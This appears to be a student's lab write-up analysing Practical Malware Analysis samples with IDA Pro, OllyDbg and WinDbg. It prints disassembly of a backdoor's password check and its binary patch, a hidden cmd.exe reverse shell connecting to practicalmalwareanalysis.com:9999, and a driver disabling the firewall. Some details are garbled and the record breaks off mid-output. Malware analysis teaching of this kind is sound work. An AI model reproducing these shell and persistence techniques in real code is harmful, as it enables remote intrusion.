IMAGE_FILE_HEADER	0000002A	0000	Reserved
IMAGE_OPTIONAL_HEADER	0000002C	0000	Reserved
IMAGE_SECTION_HEADER .text	0000002E	0000	Reserved
IMAGE_SECTION_HEADER .rdata	00000030	0000	Reserved
IMAGE_SECTION_HEADER .data	00000032	0000	Reserved
SECTION .text	00000034	0000	Reserved
SECTION .rdata	00000036	0000	Reserved
SECTION .data	00000038	0000	Reserved
	0000003A	0000	Reserved
	0000003C	000000E8	Offset to New EXE Header

The entry at RVA 0000003C is highlighted in blue, corresponding to the 'Offset to New EXE Header' entry in the assembly code.

Viewing IMAGE_DOS_HEADER

However grabbed **offset to New EXE Header** is another address.
Should be de referenced again.

Image_NT_Signature is at the address **E8h** (RVA) .


	RVA	Data	Description	Value
Lab07-03.exe	000000E8	00004550	Signature	IMAGE_NT_SIGNATURE PE

Lab07-03.exe structure:


- IMAGE_DOS_HEADER
- MS-DOS Stub Program
- IMAGE_NT_HEADERS
 - Signature (highlighted)
 - IMAGE_FILE_HEADER
 - IMAGE_OPTIONAL_HEADER
 - IMAGE_SECTION_HEADER .text
 - IMAGE_SECTION_HEADER .rdata
 - IMAGE_SECTION_HEADER .data
 - SECTION .text
 - SECTION .rdata
 - SECTION .data

Checks if valid PE file:

ImageNtHeaders->Signature != 'PE' (equivalent in c++) Call
IsBadReadPtr to check if the calling process has read access to
that memory region.



String **Str1** is compared to "kernel32.dll".



Two instructions represents strlen (repne scasb) and memcpy (rep movsd). Using repne scasb we get length of the string. rep movsd instruction moves byte from esi to edi register ecx times (ecx = string length). mov esi, offset dword_403010

```

.data:00403010 dword_403010    dd 6E72656Bh          ; DATA XREF: _mv_mapfile+E8↑o
.data:00403010                  ; _main+1A8↑r
.data:00403014 dword_403014    dd 32333165h          ; DATA XREF: _main+1B9↑r
.data:00403018 dword_403018    dd 6C6C642Eh          ; DATA XREF: _main+1C2↑r
.data:0040301C dword_40301C    dd 0                   ; DATA XREF: _main+1CB↑r

```

If we open dword_403010 we see that is actually ascii letters (looking in ascii table we see that numbers and letters starts from 30h to 7Ah)

Dec	Hx	Oct	Char	Dec	Hx	Oct	Html	Chr	Dec	Hx	Oct	Html	Chr	Dec	Hx	Oct	Html	Chr
0	0	000	NUL (null)	32	20	040	 	Space	64	40	100	@	Ø	96	60	140	`	`
1	1	001	SOH (start of heading)	33	21	041	!	!	65	41	101	A	A	97	61	141	a	a
2	2	002	STX (start of text)	34	22	042	"	"	66	42	102	B	B	98	62	142	b	b
3	3	003	ETX (end of text)	35	23	043	#	#	67	43	103	C	C	99	63	143	c	c
4	4	004	EOT (end of transmission)	36	24	044	$	\$	68	44	104	D	D	100	64	144	d	d
5	5	005	ENQ (enquiry)	37	25	045	%	%	69	45	105	E	E	101	65	145	e	e
6	6	006	ACK (acknowledge)	38	26	046	&	&	70	46	106	F	F	102	66	146	f	f
7	7	007	BEL (bell)	39	27	047	'	'	71	47	107	G	G	103	67	147	g	g
8	8	010	BS (backspace)	40	28	050	((72	48	110	H	H	104	68	150	h	h
9	9	011	TAB (horizontal tab)	41	29	051))	73	49	111	I	I	105	69	151	i	i
10	A	012	LF (NL line feed, new line)	42	2A	052	*	*	74	4A	112	J	J	106	6A	152	j	j
11	B	013	VT (vertical tab)	43	2B	053	+	+	75	4B	113	K	K	107	6B	153	k	k
12	C	014	FF (NP form feed, new page)	44	2C	054	,	,	76	4C	114	L	L	108	6C	154	l	l
13	D	015	CR (carriage return)	45	2D	055	-	-	77	4D	115	M	M	109	6D	155	m	m
14	E	016	SO (shift out)	46	2E	056	.	.	78	4E	116	N	N	110	6E	156	n	n
15	F	017	SI (shift in)	47	2F	057	/	/	79	4F	117	O	O	111	6F	157	o	o
16	10	020	DLE (data link escape)	48	30	060	0	0	80	50	120	P	P	112	70	160	p	p
17	11	021	DC1 (device control 1)	49	31	061	1	1	81	51	121	Q	Q	113	71	161	q	q
18	12	022	DC2 (device control 2)	50	32	062	2	2	82	52	122	R	R	114	72	162	r	r
19	13	023	DC3 (device control 3)	51	33	063	3	3	83	53	123	S	S	115	73	163	s	s
20	14	024	DC4 (device control 4)	52	34	064	4	4	84	54	124	T	T	116	74	164	t	t
21	15	025	NAK (negative acknowledge)	53	35	065	5	5	85	55	125	U	U	117	75	165	u	u
22	16	026	SYN (synchronous idle)	54	36	066	6	6	86	56	126	V	V	118	76	166	v	v
23	17	027	ETB (end of trans. block)	55	37	067	7	7	87	57	127	W	W	119	77	167	w	w
24	18	030	CAN (cancel)	56	38	070	8	8	88	58	130	X	X	120	78	170	x	x
25	19	031	EM (end of medium)	57	39	071	9	9	89	59	131	Y	Y	121	79	171	y	y
26	1A	032	SUB (substitute)	58	3A	072	:	:	90	5A	132	Z	Z	122	7A	172	z	z
27	1B	033	ESC (escape)	59	3B	073	;	:	91	5B	133	[[123	7B	173	{	{
28	1C	034	FS (file separator)	60	3C	074	<	<	92	5C	134	\	\	124	7C	174	|	
29	1D	035	GS (group separator)	61	3D	075	=	=	93	5D	135]]	125	7D	175	}	}
30	1E	036	RS (record separator)	62	3E	076	>	>	94	5E	136	^	^	126	7E	176	~	~
31	1F	037	US (unit separator)	63	3F	077	?	?	95	5F	137	_	_	127	7F	177		DEL

lookuptables.com

By pressing "a" (convert data to string in IDA) two times we get "kerne132.dll":

```
.data:00403010 aKernel132Dll    db 'kerne132.dll',0      ; DATA XREF: _mv_mapfile+EC to
```

String **Str1** is our source, which is "kernel132.dll" and replaced by the string kernel132.dll (destination). Access import table:
 mov ecx, [ebp+80h] ; Import table RVA: E8h+80h=168h

RVA	Data	Description	Value
00000138	00004000	Size of Image	
0000013C	00001000	Size of Headers	
00000140	00000000	Checksum	
00000144	0003	Subsystem	IMAGE_SUBSYSTEM_WINDOWS
00000146	0000	DLL Characteristics	
00000148	00100000	Size of Stack Reserve	
0000014C	00001000	Size of Stack Commit	
00000150	00100000	Size of Heap Reserve	
00000154	00001000	Size of Heap Commit	
00000158	00000000	Loader Flags	
0000015C	00000010	Number of Data Directories	
00000160	00000000	RVA	EXPORT Table
00000164	00000000	Size	
00000168	0000207C	RVA	IMPORT Table
0000016C	0000003C	Size	
00000170	00000000	RVA	RESOURCE Table
00000174	00000000	Size	

Viewing IMAGE_OPTIONAL_HEADER

```

.....
.text:00402B1D loc_402B1D:           ; CODE XREF: _main+11↑j
.text:00402B1D     mov    eax, [ebp+argc]
.text:00402B1D     mov    ecx, [ebp+argv]
.text:00402B20     mov    edx, [ecx+eax*4-4]
.text:00402B23     mov    [ebp+var_4], edx
.text:00402B27     mov    eax, [ebp+var_4]
.text:00402B2A     push   eax
.text:00402B2D     call   passcode      ; abcd
.text:00402B2E     add    esp, 4
.text:00402B33     test   eax, eax
.text:00402B38     jnz   short loc_402B3F
.text:00402B3A     call   DeleteFile
.text:00402B3F ; -----
.text:00402B3F loc_402B3F:           ; CODE XREF: _main+48↑j
.text:00402B3F     mov    ecx, [ebp+argv]
.text:00402B42     mov    edx, [ecx+4]
.text:00402B45     mov    [ebp+var_1820], edx
.text:00402B48     push   offset aIn      ; unsigned __int8 *
.text:00402B50     mov    eax, [ebp+var_1820]
.text:00402B56     push   eax          ; unsigned __int8 *
.text:00402B57     call   __mbscmp
.text:00402B5C     add    esp, 8
.text:00402B5F     test   eax, eax
.text:00402B61     jnz   short loc_402BC7
.text:00402B63     cmp    [ebp+argc], 3
.text:00402B67     jnz   short loc_402B9A
.text:00402B69     push   400h
.text:00402B6E     lea    ecx, [ebp+ServiceName]
.text:00402B74     push   ecx          ; char *
.text:00402B75     call   getCurrentFileName
.text:00402B7A     add    esp, 8
.text:00402B7D     test   eax, eax
.text:00402B7F     jz    short loc_402B89
.text:00402B81     or    eax, 0xFFFFFFFFh
.text:00402B84     jmp   loc_402D78
.text:00402B89 ; -----

```


if you want to install it with a custom service name such as jmpRSP, you may execute it as “Lab09-01.exe -in jmpRSP abcd“.

ii. What are the command-line options for this program? What is the password requirement?

The 4 command line accepted by the program are


1. -in; install
2. -re; uninstall
3. -cc; parse registry and prints it out
4. -c; set Registry

The password for this malware to execute is “abcd”. Analyzing the function @0x00402510, we can easily derive this password. The below image contains comments that explains how I derived that the passcode is “abcd”.



iii. How can you use OllyDbg to permanently patch this malware, so that it doesn't require the special command-line password?

As mentioned in Question i, we just need to patch 0x00402B38 to jz. To patch the malware in ollydbg, run the program in ollydbg and go to the address 0x00402B38.



Right click on the address and press Ctrl-E (edit binary). Change the hex from 75 to 74 as shown below.




Figure 4. Edit Binary



The next step is to save the changes. Right click in the disassembly window and select copy to executable -> all modifications. Then proceed to save into a file.

iv. What are the host-based indicators of this malware?

To answer this question lets look at the dynamic analysis observations and IDA Pro codes.




Figure 6. Registry trails in IDA Pro




Figure 10. Services.msc

1. HKLM\SOFTWARE\Microsoft \XPS\Configuration
2. Lab09-01_patched Manager Service
3. %SYSTEMROOT%\system32\Lab09-01_patched.exe

v. What are the different actions this malware can be instructed to take via the network?

If no argument is passed into the executable, the malware will call the function @0x00402360. This function will parse the registry “HKLM\SOFTWARE\Microsoft \XPS\Configuration” and call function 0x00402020 to execute the malicious functions.

Analyzing the function @0x00402020, we can conclude that the malware is capable of doing the following tasks

1. Sleep
2. Upload (save a file to the victim machine)
3. Download (extract out a file from the victim machine)
4. Execute Command
5. Do Nothing

vi. Are there any useful network-based signatures for this malware?




Figure 11. Network Traffic

From wireshark, we can see that the malware is attempting to retrieve commands from <http://www.practicalmalwareanalysis.com>. A random page(xxxx/xxx.xxx) is retrieved from the server using HTTP/1.0. Note that the evil domain can be changed, therefore by fixing the network based signature to just practicalmalwareanalysis.com is not sufficient.

e. Analyze the malware found in the file Lab09-02.exe using OllyDbg to answer the following questions.

i. What strings do you see statically in the binary?

Address	Length	Type	String
's' .rdata:004040CC	0000000F	C	runtime error
's' .rdata:004040E0	0000000E	C	TLOSS error\r\n
's' .rdata:004040F0	0000000D	C	SING error\r\n
's' .rdata:00404100	0000000F	C	DOMAIN error\r\n
's' .rdata:00404110	00000025	C	R6028\r\n- unable to initialize heap\r\n
's' .rdata:00404138	00000035	C	R6027\r\n- not enough space for lowio initialization\r\n
's' .rdata:00404170	00000035	C	R6026\r\n- not enough space for stdio initialization\r\n
's' .rdata:004041A8	00000026	C	R6025\r\n- pure virtual function call\r\n
's' .rdata:004041D0	00000035	C	R6024\r\n- not enough space for _onexit/atexit table\r\n
's' .rdata:00404208	00000029	C	R6019\r\n- unable to open console device\r\n
's' .rdata:00404234	00000021	C	R6018\r\n- unexpected heap error\r\n
's' .rdata:00404258	0000002D	C	R6017\r\n- unexpected multithread lock error\r\n
's' .rdata:00404288	0000002C	C	R6016\r\n- not enough space for thread data\r\n
's' .rdata:004042B4	00000021	C	\r\nabnormal program termination\r\n
's' .rdata:004042D8	0000002C	C	R6009\r\n- not enough space for environment\r\n
's' .rdata:00404304	0000002A	C	R6008\r\n- not enough space for arguments\r\n
's' .rdata:00404330	00000025	C	R6002\r\n- floating point not loaded\r\n
's' .rdata:00404358	00000025	C	Microsoft Visual C++ Runtime Library
's' .rdata:00404384	0000001A	C	Runtime Error\r\nProgram:
's' .rdata:004043A4	00000017	C	<program name unknown>
's' .rdata:004043BC	00000013	C	GetLastActivePopup
's' .rdata:004043D0	00000010	C	GetActiveWindow
's' .rdata:004043E0	0000000C	C	MessageBoxA
's' .rdata:004043EC	0000000B	C	user32.dll
's' .rdata:00404562	0000000D	C	KERNEL32.dll
's' .rdata:0040457E	0000000B	C	WS2_32.dll
's' .data:0040511E	00000006	unic...	@\t
's' .data:00405126	00000006	unic...	@\n
's' .data:00405166	00000006	unic...	@\x1B
's' .data:00405176	00000006	unic...	@x
's' .data:0040517E	00000006	unic...	@y
's' .data:00405186	00000006	unic...	@z
's' .data:004051AC	00000006	C	`♦y♦!

Nothing useful...

2ii What happens when you run this binary?

The program just terminates without doing anything.

iii. How can you get this sample to run its malicious payload?

```
.text:00401133    mov    [ebp+var_1B0], '1'
.text:0040113A    mov    [ebp+var_1AF], 'q'
.text:00401141    mov    [ebp+var_1AE], 'a'
.text:00401148    mov    [ebp+var_1AD], 'z'
.text:0040114F    mov    [ebp+var_1AC], '2'
.text:00401156    mov    [ebp+var_1AB], 'w'
.text:0040115D    mov    [ebp+var_1AA], 's'
.text:00401164    mov    [ebp+var_1A9], 'x'
.text:0040116B    mov    [ebp+var_1A8], '3'
.text:00401172    mov    [ebp+var_1A7], 'e'
.text:00401179    mov    [ebp+var_1A6], 'd'
.text:00401180    mov    [ebp+var_1A5], 'c'
.text:00401187    mov    [ebp+var_1A4], '0'
```

Figure 2. some passphrase?


We can see in the opcode that a string is formed character by character. The string is “1qaz2wsx3edc”. The way the author created the string prevented IDA Pro from displaying it as a normal string.

v. What arguments are being passed to subroutine 0x00401089?



Figure 3. GetHostName

From the above ollydbg image, we can see that the string “1qaz2wsx3edc” is passed in to the subroutine 0x00401089. An unknown pointer (0x0012FD90) is also passed in.



A
Figure 6. connecting to
practicalmalwareanalysis.com:9999

The first block shows that we get the decoded domain name and get the ip by using [gethostbyname](#). In the second block, we can see that it is trying to connect to the derived ip at

port 9999. In the third block, we can see that socket s is passed into the CommandExecution subroutine as last argument.

```
CommandExecution proc near

StartupInfo= _STARTUPINFOA ptr -58h
var_14= dword ptr -14h
ProcessInformation= _PROCESS_INFORMATION ptr -10h
arg_10= dword ptr 18h

push    ebp
mov     ebp, esp
sub    esp, 58h
mov     [ebp+var_14], 0
push    44h          ; size_t
push    0             ; int
lea      eax, [ebp+StartupInfo]
push    eax           ; void *
call    _memset
add     esp, 8Ch
mov     [ebp+StartupInfo.cb], 44h
push    10h          ; size_t
push    0             ; int
lea      ecx, [ebp+ProcessInformation]
push    ecx           ; void *
call    _memset
add     esp, 8Ch
mov     [ebp+StartupInfo.dwFlags], 10h
mov     [ebp+StartupInfo.wShowWindow], 0
mov     edx, [ebp+arg_10]
mov     [ebp+StartupInfo.hStdInput], edx
mov     eax, [ebp+StartupInfo.hStdInput]
mov     [ebp+StartupInfo.hStdError], eax
mov     ecx, [ebp+StartupInfo.hStdError]
mov     [ebp+StartupInfo.hStdOutput], ecx
lea      edx, [ebp+ProcessInformation]
push    edx           ; lpProcessInformation
lea      eax, [ebp+StartupInfo]
push    eax           ; lpStartupInfo
push    0             ; lpCurrentDirectory
push    0             ; lpEnvironment
push    0             ; dwCreationFlags
push    1             ; bInheritHandles
push    0             ; lpThreadAttributes
push    0             ; lpProcessAttributes
push    offset CommandLine ; "cmd"
push    0             ; lpApplicationName
call    ds>CreateProcessA
mov     [ebp+var_14], eax
push    0FFFFFFFh      ; dwMilliseconds
```

Figure 7. passing io to socket

From the above figure, we can see that the StartupInfo's hStdInput, hStdOutput, hStdError now points to the socket s. In other words, all input and output that we see in cmd.exe console will now be transmitted over the network. The CreateProcessA call for cmd.exe and is hidden via wShowWindow flag set to SW_HIDE(0). What it all meant was that a reverse shell is spawned to receive commands from the attacker's server.

f. Analyze the malware found in the file Lab09-03.exe using OllyDbg and IDA Pro. This malware loads three included DLLs (DLL1.dll, DLL2.dll, and DLL3.dll) that are all built to request the same memory load location. Therefore, when viewing these DLLs in OllyDbg versus IDA Pro, code may appear at different memory locations. The purpose of this lab is to make you comfortable with finding the correct location of code within IDA Pro when you are looking at code in OllyDbg


i. What DLLs are imported by Lab09-03.exe?

Address	Ordinal	Name	Library
00405000		DLL1Print	DLL1
0040500C		DLL2Print	DLL2
00405008		DLL2ReturnJ	DLL2
004050B0		GetStringTypeW	KERNEL32
004050AC		LCMapStringA	KERNEL32
004050A8		MultiByteToWideChar	KERNEL32
004050A4		HeapReAlloc	KERNEL32
004050A0		VirtualAlloc	KERNEL32
0040509C		GetOEMCP	KERNEL32
00405098		GetACP	KERNEL32
00405094		GetCPLInfo	KERNEL32
00405090		HeapAlloc	KERNEL32
0040508C		RtlUnwind	KERNEL32
00405088		HeapFree	KERNEL32
00405084		VirtualFree	KERNEL32
00405080		HeapCreate	KERNEL32
0040507C		HeapDestroy	KERNEL32
00405078		GetVersionExA	KERNEL32
00405074		GetEnvironmentVariableA	KERNEL32
00405070		GetModuleHandleA	KERNEL32
0040506C		GetStartupInfoA	KERNEL32
00405068		GetFileType	KERNEL32
00405064		GetStdHandle	KERNEL32
00405060		SetHandleCount	KERNEL32
0040505C		GetEnvironmentStringsW	KERNEL32
00405058		GetEnvironmentStrings	KERNEL32
00405054		WideCharToMultiByte	KERNEL32
00405050		FreeEnvironmentStringsW	KERNEL32
0040504C		FreeEnvironmentStringsA	KERNEL32
00405048		GetModuleFileNameA	KERNEL32
00405044		UnhandledExceptionFilter	KERNEL32
00405040		GetCurrentProcess	KERNEL32
0040503C		TerminateProcess	KERNEL32
00405038		ExitProcess	KERNEL32
00405034		GetVersion	KERNEL32
00405030		GetCommandLineA	KERNEL32
0040502C		Sleep	KERNEL32
00405028		GetStringTypeA	KERNEL32
00405024		GetProcAddress	KERNEL32
00405020		LoadLibraryA	KERNEL32
0040501C		CloseHandle	KERNEL32
00405018		LCMapStringW	KERNEL32
00405014		WriteFile	KERNEL32
004050B8		NetScheduleJobAdd	NFTAPI32

Figure 1. imports

```
.text:00401000 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401000 _main          proc near             ; CODE XREF: start+AF↓P
.text:00401000
.text:00401000 Buffer        = dword ptr -1Ch
.text:00401000 hFile         = dword ptr -18h
.text:00401000 hModule       = dword ptr -14h
.text:00401000 var_10        = dword ptr -10h
.text:00401000 NumberOfBytesWritten= dword ptr -8Ch
.text:00401000 var_8         = dword ptr -8
.text:00401000 JobId         = dword ptr -4
.text:00401000 argc          = dword ptr 8
.text:00401000 argv          = dword ptr 0Ch
.text:00401000 envp          = dword ptr 10h
.text:00401000
.text:00401000     push    ebp
.text:00401001     mov     ebp, esp
.text:00401003     sub     esp, 1Ch
.text:00401006     call    ds:DLL1Print
.text:0040100C     call    ds:DLL2Print
.text:00401012     call    ds:DLL2ReturnJ
.text:00401018     mov     [ebp+hfile], eax
.text:0040101B     push    0                 ; lpOverlapped
```

Figure 4. Calling DLL1Print



The screenshot shows the assembly view in IDA Pro. The title bar says "IDA Pro". The assembly code for the DLL1Print function is displayed:

```
; Exported entry 1. DLL1Print

; Attributes: bp-based frame

public DLL1Print
DLL1Print proc near
push    ebp
mov     ebp, esp
mov     eax, dword_10008030
push    eax
push    offset aDll1MysteryDat ; "DLL 1 mystery data %d\n"
call    printf |
add    esp, 8
pop    ebp
retn
DLL1Print endp
```

Figure 5. DLL1Print

From figure 4, we can see that DLL1Print is called. In figure 1, we can see that DLL1Print is imported from DLL1.dll. Opening DLL1.dll in IDA Pro, we can conclude that DLL 1 mystery data %d\n is printed out. However %d is filled with values in dword_10008030 a global variable. xref check on this global variable suggests that it is being set by @0x10001009.

```

; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD FdwReason, LPVOID lpvReserved)
_DllMain@12 proc near

hinstDLL= dword ptr  8
FdwReason= dword ptr  0Ch
lpvReserved= dword ptr  10h

push    ebp
mov     ebp, esp
call    ds:GetCurrentProcessId
mov     dword_10008030, eax
mov     al, 1
pop     ebp
retn    0Ch
_DllMain@12 endp

```

Figure 6. Setting global variable with process id

The above figure shows that once the dll is loaded, it will query its own process id and set the global variable dword_1008030 to the retrieved process id. To conclude DLL1Print will print out “**DLL 1 mystery data [CurrentProcess ID]**“.

v. When Lab09-03.exe calls WriteFile, what is the filename it writes to?


```

.text:00401000      push    ebp
.text:00401000      mov     ebp, esp
.text:00401001      sub     esp, 1Ch
.text:00401003      call    ds:DLL1Print
.text:00401006      call    ds:DLL2Print
.text:0040100C      call    ds:DLL2ReturnJ ; get a File Handle
.text:00401012      mov     [ebp+hFile], eax ; eax contains handle to file
.text:00401018      push    0             ; lpOverlapped
.text:0040101B      push    eax, [ebp+NumberOfBytesWritten]
.text:0040101D      push    eax             ; lpNumberOfBytesWritten
.text:00401020      push    17h            ; nNumberOfBytesToWrite
.text:00401021      push    offset aMalwareanalysis ; "malwareanalysisbook.com"
.text:00401023      mov     ecx, [ebp+hFile]
.text:00401028      push    ecx             ; hFile
.text:0040102C      call    ds:WriteFile

```

Figure 7. File Handle from DLL2ReturnJ

Analyzing Lab09-03.exe, we can see that the File Handle is retrieved from DLL2ReturnJ subroutine (imported from DLL2.dll)



```

; Exported entry 2. DLL2ReturnJ

; Attributes: bp-based frame

public DLL2ReturnJ
DLL2ReturnJ proc near
push    ebp
mov     ebp, esp
mov     eax, dword_1000B078
pop    ebp
retn
DLL2ReturnJ endp

```

Figure 8. DLL2ReturnJ

From the above image, DLL2ReturnJ returns a global variable taken from dword_1000B078.

```

; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD FdwReason, LPVOID lpvReserved)
_DllMain@12 proc near

hinstDLL= dword ptr  8
fdwReason= dword ptr  0Ch
lpvReserved= dword ptr  10h

push    ebp
mov     ebp, esp
push    0          ; hTemplateFile
push    80h        ; dwFlagsAndAttributes
push    2          ; dwCreationDisposition
push    0          ; lpSecurityAttributes
push    0          ; dwShareMode
push    40000000h   ; dwDesiredAccess
push    offset FileName ; "temp.txt"
call    ds>CreateFileA
mov     dword_1000B078, eax
mov     al, 1
pop    ebp
retn    0Ch
_DllMain@12 endp

```

Figure 9. DLL2's DLLMain

From the above image, things become clear. The returned File Handle points to **temp.txt**.

vi. When Lab09-03.exe creates a job using NetScheduleJobAdd, where does it get the data for the second parameter?

According to msdn, [NetScheduleJobAdd](#) submits a job to run at a specified future time and date. The second parameter is a pointer to a [AT_INFO](#) Structure

```
NET_API_STATUS NetScheduleJobAdd (
    _In_opt_ LPCWSTR Servername,
```

vii. While running or debugging the program, you will see that it prints out three pieces of mystery data. What are the following: DLL 1 mystery data 1, DLL 2 mystery data 2, and DLL 3 mystery data 3?

- DLL 1 mystery data prints out the current process id
- DLL 2 mystery data prints out the CreateFileA's handle
- DLL 3 mystery data prints out the decimal value of the address to the command string “ping <http://www.malwareanalysisbook.com”>;

viii. How can you load DLL2.dll into IDA Pro so that it matches the load address used by OllyDbg?




Figure 12. Manual Load

Select Manual Load checkbox when opening DLL2.dll in IDA Pro. You will be prompted to enter new image base address.

Practical No. 4

a. This lab includes both a driver and an executable. You can run the executable from anywhere, but in order for the program to work properly, the driver must be placed in the C:\Windows\System32 directory where it was originally found on the victim computer. The executable is Lab10-01.exe, and the driver is Lab10-01.sys

i. Does this program make any direct changes to the registry? (Use procmon to check.)

Not really. Looking at the following figure, the only direct changes made by the malware is RNG\Seed. However if you were to look into the registries created by services.exe, we will see that it is trying to add a service.

Time...	Process Name	PID	Operation	Path	Result	Detail
8:24:1...	Lab10-01.exe	1704	RegSetValue	HKLMSOFTWARE\Microsoft\Cryptography\RNG\Seed	SUCCESS	Type: REG_BINARY
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Services\Lab10-01\Type	SUCCESS	Type: REG_DWORD
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Services\Lab10-01\Start	SUCCESS	Type: REG_DWORD
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Services\Lab10-01\ErrorControl	SUCCESS	Type: REG_DWORD
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Services\Lab10-01\ImagePath	SUCCESS	Type: REG_EXPAND_SZ
8:24:1...	Services and Controller app	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Services\Lab10-01\DisplayName	SUCCESS	Type: REG_EXPAND_SZ
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Services\Lab10-01\Security\Security	SUCCESS	Type: REG_BINARY
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Enum\Root\LEGACY_LAB10-01\NewInstance	SUCCESS	Type: REG_DWORD
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Enum\Root\LEGACY_LAB10-01\0000\Control\NewlyCreated	SUCCESS	Type: REG_DWORD
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Enum\Root\LEGACY_LAB10-01\0000\Service	SUCCESS	Type: REG_SZ
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Enum\Root\LEGACY_LAB10-01\0000\Legacy	SUCCESS	Type: REG_DWORD
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Enum\Root\LEGACY_LAB10-01\0000\ConfigFlags	SUCCESS	Type: REG_DWORD
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Enum\Root\LEGACY_LAB10-01\0000\Class	SUCCESS	Type: REG_SZ
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Enum\Root\LEGACY_LAB10-01\0000\ClassGUID	SUCCESS	Type: REG_SZ
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Enum\Root\LEGACY_LAB10-01\0000\DeviceDesc	SUCCESS	Type: REG_SZ
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Services\Lab10-01\Enum\0	SUCCESS	Type: REG_SZ
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Services\Lab10-01\Enum\Count	SUCCESS	Type: REG_DWORD
8:24:1...	services.exe	704	RegSetValue	HKLMSYSTEM\CurrentControlSet\Services\Lab10-01\Enum\NextInstance	SUCCESS	Type: REG_DWORD

Figure 1. Registry changes

but this is not the case for regshot! There are some HKLM policies added to the machine.

```

File Edit Format View Help
Regshot 1.9.0 x86 Unicode
Comments:
Datetime: 2016/3/8 12:34:24 , 2016/3/8 12:35:23
Computer: USER-FCC21C8345 , USER-FCC21C8345
Username: Administrator , Administrator

-----
Keys added: 18
-----
HKLM\Software\Policies\Microsoft\WindowsFirewall
HKLM\Software\Policies\Microsoft\WindowsFirewall\DomainProfile
HKLM\Software\Policies\Microsoft\WindowsFirewall\StandardProfile
HKLM\System\ControlSet001\Enum\Root\LEGACY_LAB10-01
HKLM\System\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000
HKLM\System\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\Control
HKLM\System\ControlSet001\Services\Lab10-01
HKLM\System\ControlSet001\Services\Lab10-01\Security
HKLM\System\ControlSet001\Services\Lab10-01\Enum
HKLM\System\CurrentControlSet\Enum\Root\LEGACY_LAB10-01
HKLM\System\CurrentControlSet\Enum\Root\LEGACY_LAB10-01\0000
HKLM\System\CurrentControlSet\Enum\Root\LEGACY_LAB10-01\0000\Control
HKLM\System\CurrentControlSet\Services\Lab10-01
HKLM\System\CurrentControlSet\Services\Lab10-01\Security
HKLM\System\CurrentControlSet\Services\Lab10-01\Enum
HKU\S-1-5-21-1993962763-484061587-682003330-500\Software\Microsoft\Windows\Shell\NORoam\BagMRU\5\2
HKU\S-1-5-21-1993962763-484061587-682003330-500\Software\Microsoft\Windows\Shell\NORoam\Bags\32
HKU\S-1-5-21-1993962763-484061587-682003330-500\Software\Microsoft\Windows\Shell\NORoam\Bags\32\shell

-----
values added: 128
-----
HKLM\Software\Policies\Microsoft\WindowsFirewall\DomainProfile\EnableFirewall: 0x00000000
HKLM\Software\Policies\Microsoft\WindowsFirewall\StandardProfile\EnableFirewall: 0x00000000
HKLM\System\ControlSet001\Enum\Root\LEGACY_LAB10-01\NextInstance: 0x00000001
HKLM\System\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\Service: "Lab10-01"
HKLM\System\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\Legacy: 0x00000001
HKLM\System\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\ConfigFlags: 0x00000000
HKLM\System\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\Class: "LegacyDriver"
HKLM\System\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\ClassGUID: "{8ECC0550-047F-11D1-A537-0000F8753ED1}"
HKLM\System\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\DeviceDesc: "Lab10-01"
HKLM\System\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\Control\*NewlyCreated: 0x00000000
HKLM\System\ControlSet001\Enum\Root\LEGACY_LAB10-01\0000\Control\ActiveService: "Lab10-01"
HKLM\System\ControlSet001\Services\Lab10-01\Type: 0x00000001
HKLM\System\ControlSet001\Services\Lab10-01\Start: 0x00000003
HKLM\System\ControlSet001\Services\Lab10-01\ErrorControl: 0x00000001
HKLM\System\ControlSet001\Services\Lab10-01\ImagePath: "\??\C:\Windows\system32\Lab10-01.sys"
HKLM\System\ControlSet001\Services\Lab10-01\DisplayName: "Lab10-01"
HKLM\System\ControlSet001\Services\Lab10-01\Security\Security: 01 00 14 80 90 00 00 00 9C 00 00 00 14 00 00 00 30 !
HKLM\System\ControlSet001\Services\Lab10-01\Enum\0: "Root\LEGACY_LAB10-01\0000"
HKLM\System\ControlSet001\Services\Lab10-01\Enum\Count: 0x00000001

```

Figure 2. More Registry changes in Regshot

ii. The user-space program calls the ControlService function. Can you set a breakpoint with WinDbg to see what is executed in the kernel as a result of the call to ControlService?




Figure 3. ControlService

The above figure shows the malware opening Lab10-01 service, starting the service and eventually closing it via [ControlService](#); SERVICE_CONTROL_STOP.

breaking the kernel debugger and using the following command !object \Driver shows the loaded drivers...

```

-----  

nt!RtlpBreakWithStatusInstruction:  

80527bdc cc      int     3  

kd> !object \Driver  

Object: e101d910  Type: (8a360418) Directory  

  ObjectHeader: e101d8f8 (old version)  

  HandleCount: 0  PointerCount: 87  

  Directory Object: e1001150  Name: Driver  


| Hash | Address  | Type   | Name     |
|------|----------|--------|----------|
| 00   | 8a0fd3a8 | Driver | Beep     |
